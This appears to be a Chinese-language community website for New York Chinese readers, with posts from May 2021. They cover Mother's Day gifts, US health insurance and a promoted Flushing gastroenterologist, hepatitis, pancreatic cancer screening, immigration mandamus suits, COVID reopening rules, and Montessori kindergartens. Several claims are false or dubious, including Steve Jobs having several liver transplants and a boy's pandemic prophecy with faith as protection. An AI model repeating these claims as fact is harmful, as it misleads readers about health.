您可以亲自到花店挑选中意的花束;您也可以动动手指,网上订购温馨优雅的花束和时下正盛的水果鲜花篮,例如:网上花店“意境名家”http://flower365day . com /点开纽约下单订购,各种精美包装的花束、鲜花水果蓝图片,任您选择,方便快捷。什么,您还没想到水果鲜花篮?唉,你out了啦!鲜花水果篮,鲜花与水果搭配,盛着优雅和实惠,颗颗水果颗粒饱满、娇艳欲滴、让人垂涎三尺、食指大动有没有啊!鲜花谢啦就扔了,鲜花水果篮里的水果趁着新鲜和家人一起品尝分享,健康、营养又经济!

三.母亲节卡片:

每年在母亲节之前的几天和一周里,美国的许多学校、幼儿园都会组织学生、小朋友们准备一张亲手绘制或DIY制作母亲节卡片,或送给母亲的小礼物,感恩母亲。各式各样、各具创意、感恩尽在不言中。

如果您想亲手制作DIY母亲节卡片给家庭中的女主人一个惊喜,也的确是个不错的主意!网上范例应有尽有。

*温馨提示:制作过程顺便录个像!因为礼物会破旧,时间会飞逝,钻石恒久远,视频永流传哦!

四.母亲节礼物方面:

那就因人而异了。根据母亲的喜好、家庭成员的财力,表达心意就好。“千里送鹅毛,礼轻情意重嘛”!可以是珠宝、服饰、家居装饰品、保险、美容护理、旅游等等。

五.母亲节的电话:

据说,节日这天的通话、信息次数也是一年中最多的,问候自是必不可少啰!

母亲节是庆祝母亲、感恩母亲的节日。包括祖母、曾祖母、继母、养母。最后,我们献上一首古诗《游子吟》,一支母爱的颂歌,千古流传。祝愿世上一切母亲健康安好!

遊子吟

唐·孟郊

慈母手中線,遊子身上衣。

臨行密密縫,意恐遲遲歸。

誰言寸草心,報得三春暉。

2021-05-07 / by / in
在美国纽约怎么选肠胃科医生和医疗保险

据统计,在美国大约有9千5百万人患有某些类型的消化系统疾病。对于移民纽约的华人来讲,要适应在西方社会完全不同的环境,精神压力大,而为应付繁忙的工作往往饮食不均衡,一不注意就会有肠胃不适的问题。在纽约怎么看肠胃病,怎么选择肠胃科医生,怎样看急诊?

说到在美国看病,就不得不先说一下美国的医疗保险。如果没有医疗保险,美国看病非常贵。美国的医疗保险种类很多。

美国的各类医疗保险计划

在美国,除了65岁以上符合要求的老人,或者孕妇、儿童及低收入家庭可以享受到比较便宜的医疗福利,一般人都购买商业保险。以下给大家介绍一下常见的商业保险:

健康维护组织HMO(Health Maintenance Organization)是最便宜的健康保险之一。要支付的保险费,自付额(Deductible)和共保额(Co-insurance)都比较低。如果选择HMO健康保险,要看医生的时候,只能选择规定的网内医生,看病先要预约家庭医生PCP(Primary Care Physician),家庭医生会做出评估是否需要转诊专科医师,比如肠胃科医生。

定点服务组织POS (Point of Service)与HMO一样,在看专科医生前需要家庭医生开出转诊单。POS的保险费用略高于HMO,好处是可选网络外医生,不过费用会高于网络内医生。

优选医疗组织保险计划PPO (Preferred Provider Organization), 保险费用要高于HMO,但可选的医院和医生范围更广,个人最高应付额(Out-of-pocket limit)较低。假如选择的PPO自付额(Deductible)和共保额(Co-insurance)都比较低,保险额就较高。如果你购买的是PPO,一般就可以自己选择肠胃科医生,而不需要通过家庭医生转诊。

指定医疗服务EPO( Exclusive Provider Organization)只能选择网络内医生,但网络覆盖面比HMO大,如果需要看肠胃科医生,有的EPO需要家庭医生转诊,也有不需要的。EPO的保险费用高于HMO,但低于PPO。

按服务收费FFS (Fee For Service),是所有医疗保险中保费最昂贵,个人最高应付额最高的。好处是可以自由选择任何医院和医生,无需家庭医生转诊。

( 各类医疗保险计划比较)

美国医疗保险基本概念

以下是美国医疗保险的一些基本概念,选择医疗保险时可作为参考。

保险费Premium: 定期向保险公司支付的费用。

自付额Deductible: 保险公司为你支付费用之前,每次看病自己先要花销的金额范围。(deductible金额越低,保险费越贵)。

共同保险Co-insurance:在自付额满了之后,每次看病需要支付的医疗费用比例。(比如20%)

个人最高应付额Out-of-pocket limit: 自己支付的医疗费用超过这个额度后就由保险公司支付。

网络内和非网络内的医疗保健单位 In-network & out-of-network:有些医疗保险限制只能选择网络内的医疗保健单位。选择网络外的医疗保险费用就很贵了,自费比例也会高。

肠胃科医生预约流程

买了普通的医疗保险,比如HMO,看病要先预约选定的家庭医生(全科医生),如果全科医生看不好,再由全科医生介绍给肠胃科医生,一般好的专科医生也需要预约排队。

如果购买的医疗保险可以自由选择专科医生,比如PPO,那么就可以直接预约肠胃科医生。

到了预约的日期,提前一点时间到诊所,填写一下保险信息表格和身体状况描述表格。并且请记得带好自己的保险卡和身份证。

总结:看肠胃科医生前,请核对您选择的医疗保险计划,有的需要家庭医生转诊。如果在选择医生医院方面想要自由度高一些,可以挑选可自由选择专科医生的保险计划,保险费会高一些。另外,需要提醒的是,请核对清楚所选的肠胃科医生是否在保险计划覆盖面之内。

需要看急诊怎么办

如果肠胃方面有突发情况,普通诊所都已经下班,需要看急诊怎么办呢?

去急诊室之前可以提前咨询家庭医生,向医生说一下症状,听一下医生建议要不要去急诊室。

有两种类别的急诊可以选择,Emergency Room 和 Urgent Care

  1. 急诊室 Emergency Room(ER):如果身体有紧急情况,大医院都有急诊室,24小时提供服务,而且医疗设备齐全,并且不需要预约。但一般需要排队等待,具体情况要根据医院急诊室的忙碌程度以及护士对你病情严重度的预估。
  2. 紧急护理中心 Urgent Care (UC):一般都是私人诊所,也不需要预约。但每间 UC诊所都有营业时间,并非24小时工作。虽然医疗设备和人手不如大医院的急诊室多,但等待医生的时间反而比较短,一般情况一小时之内可以看到医生。费用也会比ER急诊室便宜很多,平均来讲,大概只有ER的四分之一到五分之一。

在纽约这样的大城市,看急诊是非常方便,平时关注一下住家附近有哪些急诊诊所,紧急情况下就不会手忙脚乱了。

看急诊要准备什么?

保险卡和身份证件。

紧急联系人:最好有人陪护。如果没有的话,可能需要填写紧急联系人的信息。

正在使用的药物清单与过敏药物:可以帮助医生了解你的身体状况,做出更好的诊断。

急诊费用

急诊费用不需要在医院当场支付。一般在一个月内会收到账单,上面会列出急诊总的费用。不过,收到账单时不用太过紧张,个人只需要支付一部分,其它的部分保险公司会支付。

所以,买医疗保险的时候,就要搞清楚这个保险支付急诊的比例。总之,相比家庭医生和紧急护理中心Urgent Care,急诊室ER费用会高出很多。

无论怎样,希望大家平安健康,如果可以的话,最好永远不用去到这些地方。

纽约肠胃科医生

肠胃道属于人体的消化系统,消化就是身体把食物分解为可以吸收的物质的过程。消化系统的健康问题影响人体的胃肠器官,包括胃、小肠和大肠。消化系统疾病,常见的有胃灼热、胃溃疡和结肠疾病。

在纽约法拉盛,有一位世界顶级的肠胃科医生– 荆彤博士。荆彤医生医生毕业于世界著名的约翰霍普金斯医学院肠胃科,是约翰霍普金斯大学的医学院博士。约翰霍普金斯医学院在美国医学院中是排名数一数二的。在这个学院毕业的华人医生可谓聊聊无几。荆彤医生还获取了德州大学安德森癌症中心博士学位。安德森癌症治疗中心,被公认为全球最好的肿瘤医院,曾连续多年在癌症治疗和科研领域中排名全美第一。荆彤医生曾任纽约大学医学院胃镜室主任和纽约大学医学院肠胃科副教授。

荆医生对肠胃道疾病有自己独特的见道。荆医生说,清淡饮食,调节情志,可避免病从口入、病从心生。

荆医生发现,节假日后肠胃道病人会猛增。荆医生说饮食会是导致疾病的一大因素,饮食方面要避免过于辛辣刺激,不要吃太多大鱼大肉。

还有患者因新冠疫情长期宅于家中,饮食无趣,闷在家思虑过多,导致肠胃疾病或加重。

荆医生还发现有的疾病,则源于不适应新的饮食习惯。比如,西方人常喝冷水、冰水,华人往往爱喝温开水。一些年轻华裔来西方不久,也常喝冰水,过后会感觉不舒服。荆医生说,东西方人体质不同。西方人多是游牧民族的后裔,东方人祖先则是农耕民族。长期以来,欧美人的肠胃适应了热量大的肉制品和奶制品,喝冰水,可中和高热量食物。东方人习惯上以谷物为主食,谷物热量低,喝冰水就可能不舒服。

荆医生建议:保持东方人特有的饮食习惯,也可避免一些肠胃病。

荆医生在肠胃道方面的研究,不但精于西医的先进技术,还融合了中华养生的内涵,了解华人体质。对于生活在纽约的华人,要选择胃肠道专家,荆医生确实是不二的选择。

位于纽约皇后区法拉盛罗斯福路上的荆彤肠胃诊所, 接受大多数健康保险。如果有什么胃肠道方面的咨询,或需要预约荆医生,请致电:(718) 886-9819。

诊所交通也很方便,位于法拉盛梅西的旁边,地铁口。

门诊时间:

周一至周五:10:00 – 19:00

周六:10:00 – 18:00

周日:休息

荆彤肠胃中心(718) 321-0183纽约肠胃科专家医生在线为你服务

 

2021-05-07 / 1 Comment / by / in , , ,
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2025-10-14 / by
猛爆性肝炎是不是过度劳累造成的?纽约消化科专家荆彤医生为您讲解

很多人觉得肝病要养,这话也对,很多肝不好的人,有慢性肝炎的人就不要过于劳累,要避免熬夜、暴饮暴食。但是肝病不是劳累造成的,是患者的肝本身就有问题,劳累会加重肝病的问题。

所谓猛爆性肝炎就是慢性肝炎急性爆发,容易诱发肝衰竭,这是消化科为数不多的几种急症之一。有时病人需要紧急做肝移植手术,不做肝移植病人是无法存活的。但是肝移植不是随时都能做,要有肝源才行,所以患者能不能存活还要看他能不能及时得到肝源。

猛爆性肝炎的出现不是操劳过度造成的。华人中比较常见的慢性B型肝炎(乙肝)是这个猛爆性肝炎的常见诱因之一。很多从中国来的患者会对我说:“我是从出生就有这个,父母遗传给我的乙型肝炎,我是无症状带菌。” 实际上肝炎是病毒,不是菌,健康带毒这种说法是不成立的,已经带着病毒了就不健康了,应该说是慢性乙肝患者。

有些病人身体携带的乙肝病毒含量低,肝功能正常,在这种情况下病人不需要吃药,因为吃药和不吃药的结果是一样的。但这些病人应该经常去看消化科医生,经常去验血和做超声检查。因为乙肝病毒携带者患肝癌的几率高,而且B型肝炎随时可能活动,但什么时候活动是不可预见的。一旦活动起来活动得很快,容易诱发肝衰竭。因此建议慢性肝炎患者经常去做检查。

2021-05-06 / by / in
申请美国绿卡 紐約移民案件被延遲怎辦?联邦催办令的流程指南

文|弗光照

眾所周知,移民局=忙!移民局申請美國綠卡、入籍、家屬綠卡、工卡等移民案件一直都是堆積如山。900萬的申請人一直處於心急如焚的等待中…不幸的是,隨著拜登移民新政的推動,大量的移民官將會被抽調去辦理1100萬非正常移民、難民和美墨邊境邊境及路途中追夢人潮的案件。那麼,合法申請人的案子被一再拖延,pending中,要怎麼辦?在美國等待的華人朋友們,不妨諮詢一下擅長辦催辦令的紐約大律師。

通常移民律師的口頭禪:你耐心不耐心的都要等待!不過,現在看來,等待不是唯一的選擇,我們還可以通過——申請聯邦催辦令(Writ of Mandamus),使您的移民案件得到最快的審批!

 

罗曼律师楼(law Office of Meer M. M. Rahman)

地址:305 Broadway,  Suite 610, New York, NY 10007

电话:(212)732-2220

1.聯邦催辦令是什麼?起什麼作用?

聯邦催辦令也叫履行指責令訴訟。簡單講,就是通過起訴,要求法院命令移民局(或相關政府部門)在合理的時間內對移民申請案件作出回复、裁決,審批就非常快。聯邦法院不容忍任何不合理的拖延。

2.聯邦催辦令進度有多快?

從時間上講,法院其實規定90天(自起訴日起),但通常移民局會在60天內給出回復和結果,最快的案例是2週左右。有直接通過審批、收到郵寄綠卡或直接通知入籍宣誓時間;或者了解具體是材料不充足、重要問題回答有錯誤的原因被拒絕。

3.聯邦催辦令適用於什麼案件?

美国綠卡申請、入籍申請、親屬移民、工卡申請、豁免申請601、及其他任何移民案件,在移民局超過正常等待(通常是十二個月,某些申請30天),催問無結果,都可以申請聯邦催辦令。例如:

A.綠卡申請
I-485(申請綠卡身份,永久居住權) 、I-526、I-829(投資移民)

B.家屬申請
I-130(為配偶申請綠卡)、I-730(難民申請配偶和/或子女)

C.就業工卡EAD( Employment Authorization Document工作許可文件):I-765(工卡申請)、EB-5(投資移民)EAD工卡等
D.入籍申請:N-400(綠卡轉公民)等
E .豁免申請601、及其他:I-601/602(豁免Waiver申請)、 I-360(特殊移民的訴狀)

4.申請聯邦催辦令需要具備什麼條件?準備什麼材料?

要有三份基本文件、移民局收據(I-797)等。
證明你的住址屬於聯邦法院的管轄範圍
確實是移民局拖延
移民局的拖延超過合理時間

5.申請聯邦催辦令的流程是怎樣的?

首先,免費諮詢專業律師,做案件的考量分析,看看是否適合申請聯邦催辦令。
律師認為可立案,申辦人確定要申請催辦令。
便可與律師簽約,開始準備訴訟文件。

6.申請聯邦催辦令的費用是多少?注意什麼?

申請聯邦法院催辦令價格通常是$3000-$6000。

*要注意的是:聯邦法院要求極高,律師要有聯邦法院執照(很多律師沒有)。
*如遇移民局延遲回复催辦令(1次可推遲30天),訴訟律師是否有能力解決。

最後提醒大家:催辦令程序很複雜,不常使用到,但有些案件是必要的。比如,案件時間超出合理範圍(法律沒有規定,比如二年以上) ,多次溝通移民局,但沒有理會,如去移民局、上網、寫信等(要有確實記錄及證據)。這種情況適合申請催辦令。您必須了解,這樣的程序並不簡單,在申請催辦令前,你必須要有充分與移民局溝通,嘗試申訴或催辦的事實,也就是說有確實證據說明移民局有拖延責任,法院才會真正的下達催辦令。

*催辦令個人做不了,必須請律師代理。

祝您在專業移民律師的幫助下,早日達成所願!

2021-05-06 / by / in ,
什么是肠漏症?肠漏症的病因、症状及治疗方法  纽约肠胃科专家荆彤医生为您讲解

肠漏病是一种常见病,它的表现就是病人吸收不好,长期消瘦,经常腹泻。

人体对食物的吸收主要靠小肠,小肠大约20呎长。小肠的起端是十二指肠。食物经过胃的研磨后进入十二指肠,在各种消化液、消化酶(胰腺分泌的胰蛋白酶、脂肪酶、淀粉酶)的作用下,降解成小分子。经过这20呎的小肠,营养成分会充分的在小肠粘膜表面吸收。

如果把小肠的表面放大,会发现小肠粘膜是由无数个细胞排列在一起的。营养成分经过这些细胞进入淋巴、血液。正常的小肠粘膜排列非常紧密,所谓的“肠漏”就是一些病变造成细胞的间隙过大。造成人体对营养物质的吸收变差。

造成肠漏症的原因有很多种。肠炎、病毒感染、自身免疫系统疾病都可能造成病人吸收不好。通过检查找到这些病因后,采取相应的措施,如服用药物,改变饮食,可以改善病人的身体状况。

2021-05-05 / by / in
纽约疫情好转 5月份放宽商业活动和地铁运营

纽约州政府网站发布信息,由于Covid-19疫情染疫人数下降及疫苗接种的推进,纽约州、新泽西州和康乃狄克州州长同时申明,从5月19日起,将全面开放大纽约地区商业活动。

  • 从5月19日起,商业设施不再限制人数,新规定只需要保持6英尺社交距离(纽约和新泽西);
  • 纽约从5月10日,户外社交活动聚会人数放宽到500人;室内社交聚会人数从5月19日起,放宽到250人
  • 从5月19日起,纽约取消私人住宅室外聚会人数限制,私人住宅室内聚会人数放宽到50人。
  • 纽约的大型户内活动客容量从5月19日起可提高到30%,而大型户外活动客容量提高到33%。不过需要提供疫苗接种或病毒测试阴性证明。

纽约州州长库默,新泽西州长墨菲和康州州长拉蒙特于5月3日发表声明,鉴于疫苗接种工作的推进,以及COVID-19病例和住院人数的持续下降。接下来,将很大程度放宽该地区商业活动和聚会的限制,需要提振一下经济了。

松绑商店购物、吃饭的人数限制

纽约地区从5月19日起,大部分商业活动将取消人数上限的限制,只需要保持6英尺社交距离即可。松绑限制的范围包括:零售业、餐饮业、健身房、家庭娱乐设施和场所、美发沙龙、理发厅以及其它个人护理服务设施及礼拜堂等。也就是说,商业活动的人数限制改为社交距离规定,商家和顾客要遵守6英尺社交距离规定,每个商家可容纳的人数由此规定来计算。

公众和私人聚会人数提高

从5月10日开始,纽约户外社交聚会人数限制由之前的200人增加为500人。从5月19日开始,室内社交聚会人数由之前规定的100人提高到250人。取消了私人住宅室外聚会不得超过25人的规定,私人住宅室内聚会的人数规定由之前的10名上限增加为50人。

在纽约如果需要举行超出人员上限的社交聚会,则需要提供每个参与者完成疫苗接种或最近的病毒测试阴性证明。

放宽场馆活动人数

在纽约举行的商业和社交集会活动,例如体育赛事,艺术表演,现场娱乐表演和招待会,可以允许超过规定人数(社交集会室外500人,室内250人)。前提是,每一位年龄超过4岁以上的参加者,需要提供完全疫苗接种证明,或者是近期的COVID-19病毒测试阴性证明,同时要能够满足社交距离的要求。

从5月19日起,大型室内场馆活动的客容量将从目前的约10%放宽至30%,而大型室外场馆客容量将放宽至33%。社交距离,口罩和其它的健康规程仍将适用,包括要求参加者提供完全疫苗接种证明或近期COVID-19测试结果为阴性的证明。

各行业重新开放的要求

大部分行业的人员容量限制将会被取消,但一些特别规定的要求将在很长的一段时间内依然需要保持,包括州或地方卫生局的事件通报,健康检查,可追溯的联络信息,强化的空气处理和建筑系统标准,手部卫生以及环境清洁和消毒指导。纽约州将继续针对适用于每个行业的这些规定提供更多指导。

纽约地铁 5月17日恢复全天候服务

科莫说,纽约市的地铁服务将于5月17日全天候行驶。去年5月,在纽约的疫情高峰期,纽约地铁在凌晨2时至4时必须中断服务,以便为车厢进行消毒。纽约市地铁在停止深夜服务近一年后,终于又开始了全天候服务。

根据纽约州府3日公布的数据,全州整体确诊率为1.94%,7天平均确诊率为1.79%。是自去年11月5日以来的最低水平,与上个月相比下降了50%,而全州染疫住院人数降至2,539人,是6个月以来的最低水平。

希望纽约疫情能够持续好转,大家可以恢复到正常的工作和生活。

全球疫情数据仍很严峻

目前,世界其它地方的疫情情况依然严峻。

世卫组织(WHO)5月4日发布的每周疫情更新中指出,全球范围内,新冠病毒新增病例连续第九周增加,并在近两周连续创下新增病例新高的数据。上周记录到近570万例新病例,超過了之前的高峰。新增死亡人数连续第七周继续增加,上周记录到全球死亡人数超过93, 000。

同时,世界卫生组织示警,造成印度疫情失控原因之一的印度变种病毒“B.1.617”,至少已在17个国家现踪,其中也包括美国。

这种变种病毒比原始病毒更危险,意味著它更易于传播、更加致命或具有躲避疫苗的能力。

曾于2019年8月就预言疫情的印度男孩阿南德,曾多次提示大家避免疫情冲击的一些方法。比如,人类要勇于认错,走向大自然。同时提升身体与精神方面力量,有助对抗疾病。他呼吁大家多走出户外晒太阳、呼吸新鲜空气,虽然不能对抗疫情,但能帮助抵抗其他疾病。

阿南德告诉人们,回归对于神的信仰、增强免疫力、停止错误的治疗、传播正面的情绪、注意心理的健康、走入大自然等这些,都能帮助对抗病毒,希望对大家有所启示。

2021-05-05 / by / in , , ,
如何早期发现胰腺癌?纽约肝胆肠胃科专家荆彤医生谈内视镜超声在胰腺癌诊断方面的应用

胰腺癌号称“癌中之王”,它的治愈率很低。在治疗方面始终没有找到太好的方法,死亡率很高。很多名人都是死于胰腺癌,如美国苹果公司的创办人Steve Jobs(史蒂夫.乔布斯),世界三大男高音之一的帕瓦罗蒂,还有日本索尼公司的创办人索尼,他们都是因为胰腺癌去世的。

在乔布斯确诊了胰腺癌之后,曾到美国几家最好的肿瘤中心去寻求治疗,包括德州的MD Anderson肿瘤中心。尝试了各种治疗方案,肝移植都移植了好几次(肿瘤扩散累及肝脏),最终也没能挽救他的生命。由此可见中晚期的胰腺癌很难治疗。

有的人长期胃不舒服,做各种检查也没查出问题。最后发现是胰腺癌。对医生来说,如何能在胰腺癌的早期发现比较有挑战性。因为胰腺比较小,而且是在胃的后边,位于后腹膜。早期也没什么感觉,所以不容易发现。

现在比较好的一种诊断胰腺癌的方法叫内视镜超声,英文是Endoscopic ultrasound。对病人来说做这种检查感觉像是做胃镜。检查的方法就是把带有超声波探头的镜子从嘴巴伸进胃里,因为胰腺就在胃的后边,胃壁很薄,超声波可以透过胃壁来扫描胰腺,看得很清楚。能够发现胰腺上有没有长什么东西,比如说有没有水泡(囊肿)和肿瘤。如果有必要的话,还可以通过一个很细的针提取胰脏细胞,用于做活检,就能马上知道这个肿瘤是良性的还是恶性的。鉴别起来比较快。

 

2021-05-05 / by / in
冠状病毒与流感的异同 在美国如何预防COVID-19冠状病毒

 文|雨荷

COVID-19冠状病毒(武汉肺炎)与流感有许多相似之处和不同之处。以及如何保护自己免受这些疾病的侵害。

在COVID-19中共病毒(武汉肺炎)大流行期间,您可能听说过2019年的中共病毒病(COVID-19)与流感相似。COVID-19中共病毒和流感都是由病毒引起的传染性呼吸道疾病。他们有一些常见的症状。但是,通过更仔细的比较,它们可以以不同的方式影响人们。此外,由于流感的发病时间已经更长了,因此医生在继续学习有关COVID-19中共病毒的同时,对如何治疗和预防流感也有了更多了解。

COVID-19中共病毒和流感有何相似之处?

导致COVID-19中共病毒和流感的病毒以相似的方式传播。它们都可以在紧密接触的人(6英尺或2米以内)之间传播。病毒通过谈话,打喷嚏或咳嗽释放的呼吸道飞沫或气溶胶传播。这些水滴会落在附近某人的嘴或鼻子中或被吸入。如果一个人接触了带有一种病毒的表面,然后触摸了他或她的嘴,鼻子或眼睛,这些病毒也会传播。

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COVID-19中共病毒 示意图。

COVID-19中共病毒和流感有许多共同的体征和症状,包括:

  • 发热
  • 咳嗽
  • 呼吸急促或呼吸困难
  • 疲倦
  • 咽喉痛
  • 流鼻涕或鼻塞
  • 肌肉疼痛
  • 头痛
  • 恶心或呕吐,但这在儿童中比在成年人中更常见

两种疾病的症状和体征范围从无症状到轻度或严重症状。由于COVID-19中共病毒和流感的症状相似,因此仅凭症状就很难诊断出您患有哪种疾病。可能会进行测试以查看您是否患有COVID-19中共病毒或流感。您也可以同时患有两种疾病。

无论COVID-19中共病毒和流感可以导致严重的并发症,如肺炎,急性呼吸窘迫综合征,器官衰竭,心脏发作,心脏或脑部炎症,中风和死亡。

许多患有COVID-19中共病毒的流感或轻度症状的人在家中休息和喝水可以康复。但是有些人因流感或COVID-19病重,需要住院。

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COVID-19中共病毒 示意图。

COVID-19中共病毒和流感有什么区别?

COVID-19中共病毒与流感有几处区别。COVID-19中共病毒和流感是由不同的病毒引起的。COVID-19是由一种称为SARS-CoV-2的新型冠状病毒(武汉肺炎)引起的,而流感是由甲型和乙型流感病毒引起的。

COVID-19中共病毒和流感的症状出现在不同的时间,并且有一些差异。使用COVID-19中共病毒时,您可能会失去味道或气味。暴露后2至14天通常会出现COVID-19中共病毒症状。流感症状通常在接触后约一到四天出现。与流感相比,COVID-19中共病毒似乎更具传染性并且传播速度更快。与流感相比,COVID-19中共病毒导致的严重疾病(如肺损伤)的发生频率更高。与流感相比,COVID-19中共病毒的死亡率也更高。

到2020年,美国有超过1600万人患有COVID-19中共病毒,2020年,美国有290,000多人死于COVID-19中共病毒。

相比之下,在2019年至2020年的美国流感季节,约有3800万人感染了流感,约有22,000人死于流感。

COVID-19中共病毒可能引起流感引起的其他并发症,例如儿童的血块和多系统炎症综合症。

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儿童患病住院 示意图。

另一个区别是可以用抗病毒药治疗流感。目前仅批准一种抗病毒药物remdesivir来治疗COVID-19中共病毒。研究人员正在评估COVID-19中共病毒的许多药物和治疗方法。一些药物可能有助于降低COVID-19中共病毒的严重程度。

您可以购买年度流感疫苗,以帮助降低患流感的风险。流感疫苗还可以减少流感的严重程度和严重并发症的风险。每年的流感疫苗都能提供三种或四种流感病毒的保护,而这三种流感病毒有望在该年的流感季节最常见。疫苗可以注射(注射)或鼻喷雾剂的形式给予。

流感疫苗不能保护您免受COVID-19中共病毒的侵害。研究还表明,接种流感疫苗不会使您更有可能感染COVID-19中共病毒或其他呼吸道感染。

为您推荐放心医生如下:

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2021-05-04 / by / in , , , ,
美国幼儿园怎么选?站在幼师角度上,讲讲在美国华人 如何给孩子选择优质幼儿园

文|弗光照

家长都很重视孩子的教育。很多家长在孩子还没出生时,就在计划未来孩子要上什么样的幼儿园和怎样的优质学校。在这里,我想建议家长们,特别是那些准备给孩子选幼儿园的华人家长,您一定要先了解“幼儿教育”(即“学前教育”)是什么?因为只有了解了您的孩子在幼儿园应该受到什么样的优质教育,才能选择对的幼儿园。

其实,同为教育,学前教育和学校教育差别很大。学校教育是教书+育人,重在学术;而学前教育不是学院式的学习,不仅仅是简单的智能学习、才艺能力的培养,更重要的是要把握住孩子成长的“敏感期”(Sensitive period),帮助他们形成良好的行为习惯、人格品格、独立性、创造力、人际交往等社交能力,和潜能发展等。不仅奠定孩子智慧与品格的基础,也会影响和决定孩子的一生。

学前教育有多重要?孩子的“敏感期”大多集中在(0~6岁)学前教育阶段,就是孩子在某段时间对某些事特别有兴趣,可以轻松、快速的掌握。简单讲:孩子易学,成人易教,事半功倍,可成就孩子的天赋。并且,错过不可逆。

例如:因胎儿在母体羊水中的原因,婴儿刚出生时是天然的具有游泳能力的。只要及时巩固,孩子们在玩水时,就可形成后天的游泳能力。否则,错过了时机,孩子们重新学习憋气、游泳,就要付出更多的努力,甚至有人会成为一辈子的“旱鸭子”。

就是说,孩子错过了“敏感期”的一些必要的教育培养,会造成某些能力的缺失,在今后适应社会环境时增会加难度;一些不好的行为习惯一旦形成了,过了幼儿期想改就难了。所以,给孩子选一个好的幼儿园,接受优质的教育,十分重要。

一、那么,什么样的学前教育是优质的教育?体现在哪些方面呢?

首先,了解一下经典教育—蒙台梭利。蒙氏教育经历了百年的承传发展,几代人的成长验证,惠及全球,优秀的毕业生更是不计其数。爱因斯坦评价“蒙台梭利教育是成功人士的摇篮”; 毕业生比尔•盖茨称是他人生之初的导师;Google的两位创始人布尔和佩奇说”我们的成功不该归功于斯坦福大学,而应归功于蒙特梭利学校”……

蒙特梭利(Montessori)本身是医学博士,又有生物学、心理学、哲学基础,加上多年研究人类学、教学法应用、一线实践经验,是一般教育者所不能超越的。她提出的“尊重儿童”,改变了当时人们的世界观,直至今日尊重儿童成为普世的价值。

她是一个医者如同看病一样,针对儿童的教育问题,以尊重儿童为原则,顺应孩子们“敏感期”身心健康发展的需要,以玩教具为媒介对症施教于儿童,效果卓越。100多年前已经震惊世界:例如,一些智障的孩子在阅读和书写考试中成绩优秀,与正常儿童不相上下;而正常儿童效果更佳。蒙氏教育非常严谨,适用于所有的孩子,特别是华人孩子,弥补了很多华人家长没有照顾到的教育问题。

蒙氏课程对孩子日常生活、感官教育、数学、语言、科学文化常识等,进行全面的培养和教育。可以说,没有这么完整和系统的教授孩子各方面的教学方法了!接下来,我们以实例对比,分析优质的学前教育差别在哪里:

1.日常生活的教育训练,蒙氏教师一开始就会给孩子正确示范生活中的小细节,而不是出了问题再去纠正,那样就费时费力了。

A.礼仪行为:孩子社会行为的敏感期(2.5-6岁),这个阶段要学习尊重他人,学会有尊严和礼貌地与人相处,建立孩子良好的人格人际,为融入社会做准备。从孩子入园起,学习怎样问候、什么样的音量与人交流,礼貌地求助,搬桌椅的礼仪等等一系列行为。所以,蒙氏教育的孩子彬彬有礼。

一般教育:孩子“老师好!”爸爸妈妈再见!”

蒙氏教育:孩子“老师好!谢谢爸爸妈妈(送我来幼儿园)!爸爸妈妈再见!”

评价:同样是早问候环节, 蒙氏老师会提示儿童站姿优雅,讲话的礼貌,还有感恩教育(父母为送你入幼儿园,需要早起,先送你入园,然后再去工作,比较辛苦。让孩子了解父母的付出,懂得感恩)。延伸到生活中,有不少日本人过人行道后,会回身行礼。这就是教育的差距噢。看似平常的生活环节,孩子们日复一日的重复的是礼貌、感恩。

B.自理能力培养:蒙氏活动中有教授孩子基本的个人卫生,如洗手、梳头发;学习倒液体、倒豆子;自己照顾自己,穿鞋、穿衣服、进餐等。孩子们获取经验时有完全的自由,允许他们“犯错”和做得不好。

蒙氏教师尊重和敬畏孩子的潜能,会鼓励他们去尝试、实践、重复、最终完成。活动有助于孩子的手眼协调能力,还能培养孩子的自信心、专注力、独立性的人格。这一点,蒙特梭利教育是最棒的。

家长切记:成人任何多余的帮助都会阻碍孩子的发展,过分的人为干涉对孩子极为不利。例如:以节省时间为理由,喂孩子吃饭,帮穿衣等。相信他们能做好,就是对孩子最大的尊重。要知道“尊重”>”爱”。

蒙特梭利有一句话:
Never help a child with a task at which he feels he can succeed.
如果孩子觉得他自己能完成的事,就千万不要帮他做。

C.行为习惯培养与规则意识:蒙氏环境中的孩子,进餐安静,进餐后自己收拾餐具,学具玩具要自己收好,用过的东西要原位归放,做事要有始有终。孩子在课室里可以自由走动,规则意识和秩序意识是在自由的环境里自然形成和建立的。

孩子的天性是活泼好动的。传统意义上的乖乖坐、纪律好,限制孩子行动自由和表达需求,这种强迫性的服从不是真正的自律意识,也违背尊重孩子的原则。

蒙氏环境中,孩子最大的感受就是快乐,他们是学习的主体,可以自己选择和决定,得到绝对的自由和尊重。这种自由并不是放任,不是想怎样就怎样,而是选择正确的事情。孩子在自由的同时还学要学习遵守秩序,成为一个自律的人。

2. 感官教育。蒙氏课程有大量系统和完整的特制学具,这些教具能引起孩子的兴趣,让孩子的视听、嗅味、触觉等感官体验中,自主学习颜色、形状、大小、长短、高低、粗细、味道、重量、材质、温度等特质,同时提高他们的观察力、判断力、语言表达能力。

例如,触觉活动中,孩子戴上眼罩后,根据触摸到不同材质的学具,说出“毛毛的”、“滑滑的”、“粗糙的”等词语。孩子们在新奇有趣的游戏中,自主学习、感知和探索,触觉得到了训练。

3. 数学教育。数概念、数量关系、运算知识非常抽象。蒙氏教具是借助串珠、数字板等,将抽象具体化,变成看得见、摸得到的实物。这些学具吸引着孩子主动去摸索和实践,直至他们自己满意。在反复的操作练习中,不断验证、理解和获得数感、逻辑思维、空间想象力,探索的过程比结果更重要。

例如:几何立体组、二项式方块(Binomial Cube)等,孩子在游戏触碰中,从平面思维升级到三维空间的识别。这种思维优势,在孩子进入高年级时会表现得非常明显。教育教给孩子们的是良好的学习方式,自主学习的能力。有兴趣的探索,心态是完全不一样的。会使孩子今后的学习轻松很多,而不是沉重的压力和压抑。

4. 蒙氏文化教育還包括多門學科。蒙氏文化教育其实还包含动物学、植物学、历史、地理、天文、地质、音乐、美术、科学等学科,对应有动物、植物、历史、地理、天文、地质等教具。旨在培养孩子们的世界观,更好地了解世界,对宇宙万物的奥秘有兴趣,对人、对世界充满爱。他们有高度的自由和自主性,可以自己决定学多少。

孩子的注意力时间短,然而,当他们对活动感兴趣时,就能表现出惊人的专注力,因为他们的求知欲得到了满足,学得越多,就更有兴趣,轻松学到知识,这就是蒙氏教学方式。让孩子们爱学习,知道怎样研究、怎样发现。反之,如果学习活动是强加给他们的,那就截然不同了。孩子不是容器,死记硬背、填鸭式教学违背教育原则。

